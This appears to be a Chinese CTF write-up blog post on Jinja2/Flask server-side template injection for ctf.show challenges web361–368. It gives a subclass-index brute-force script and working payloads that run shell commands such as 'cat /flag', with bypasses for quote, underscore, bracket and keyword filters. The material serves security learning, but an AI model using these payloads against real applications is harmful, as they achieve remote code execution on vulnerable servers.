SSTI1-8

一般的注入流程

在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令

检测有ssti漏洞的方法

参数赋值{{2*2}}或者在url后加上{{2*2}},看页面是否输出4,有则存在

获得内置类所对应的类方法

().__class__    (括号可换成  ‘’  或  []  或  “”)

__class__可以获得内置类所对应的项

获得object基类

().__class__.__base__

().__class__.__mro__[1]

(括号可换成  ‘’  或  []  或  “”)

__base__获得最高父项

__mro__获得所有父项

获得所有子类

().__class__.__base__.__subclasses__()

().__class__.__mro__[1].__subclasses__()

__subclasses__获得所有子类

获得可以执行shell命令的子类

一般使用os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令

可以以下代码找到含有popen方法的子类,找到子类索引值为128

获得可以执行shell命令的子类

().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']

__init__.__globals__可以获得类中所有变量即方法

执行shell命令

然后可以执行如whoami命令,用read()来读取一下,因为popen方法返回的是一个file对象

().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

web361

看提示,名字是考点,尝试输入参数name=1,发现页面显示出1

判断是否有漏洞?name={{2*2}},页面显示4,有

获得内置类所对应的类?name={{().__class__}}

获得object基类?name={{().__class__.__base__}}

获得所有子类?name={{().__class__.__base__.__subclasses__()}}

通过python脚本来判断可以执行shell命令子类的索引值。

以子类是否存在popen方法为例,脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。

import requests

for num in range(500):
    try:
        url = "http://13e9efaa-f9c7-47ce-b784-225133e8c3c3.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
    except:
        pass

找到索引为132。

执行shell命令?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

找到flag

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

多了过滤,上一题的方法就不能用了,可以用循环方法

?name=

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

web363

过滤了 " 和 ' ,可以利用request.args 、request.cookies或者request.values(也可以用于GET请求) 来绕过

request.args就是获取请求链接中 ? 后面的所有参数,把所有参数转换成一个列表,列表里面的元素是一个元组,结构为:('id','1');,再转换成一个字典,还有编码等操作

request.cookies是一个对象,用于存储客户端发送给服务器的cookie信息。在HTTP请求中,客户端可以通过设置cookie来向服务器发送数据,服务器可以通过request.cookies来访问这些数据。这个对象通常包含了所有的cookie信息,可以通过键值对的方式来访问每个cookie的值。在Node.js中,可以通过req.cookies来访问这个对象。

?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat%20/flag

web364

过滤了 ' 、" 和 args,用 request.values 发现不允许,但是可以用 request.cookies 来绕过

?name={{a.__init__.__globals__[request.cookies.x].eval(request.cookies.y)}}

cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read()

web365

过滤了{} ,‘ ,“ ,args

可以引入__getitem__调用字典中的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]。

?name={{a.__init__.__globals__.__getitem__(request.cookies.x).eval(request.cookies.y)}}

cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read() 

web366

本题在上一题的基础上又过滤了_,所有带__的方法就不能用了,还是可以用cookie传参,使用flask框架自带的attr过滤器。attr用于获取变量,比如""|attr("__class__")就相当于"".__class__。

?name={{(lipsum|attr(request.cookies.x)).os.popen(request.cookies.y).read()}}

cookie:x=__globals__;y=cat /flag

web367

又过滤了os,继续使用flask框架自带的attr过滤器,将os放进requests即可

?name={{(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read()}}

cookie:x=__globals__;y=os;z=cat /flag

web368

过滤了{{,上题的方法就不能用了。但是{}可以用{%%}代替,只是这种语法不会自动输出执行结果,添加print就好了。

?name={% print(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read() %}

cookie:x=__globals__;y=os;z=cat /flag

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值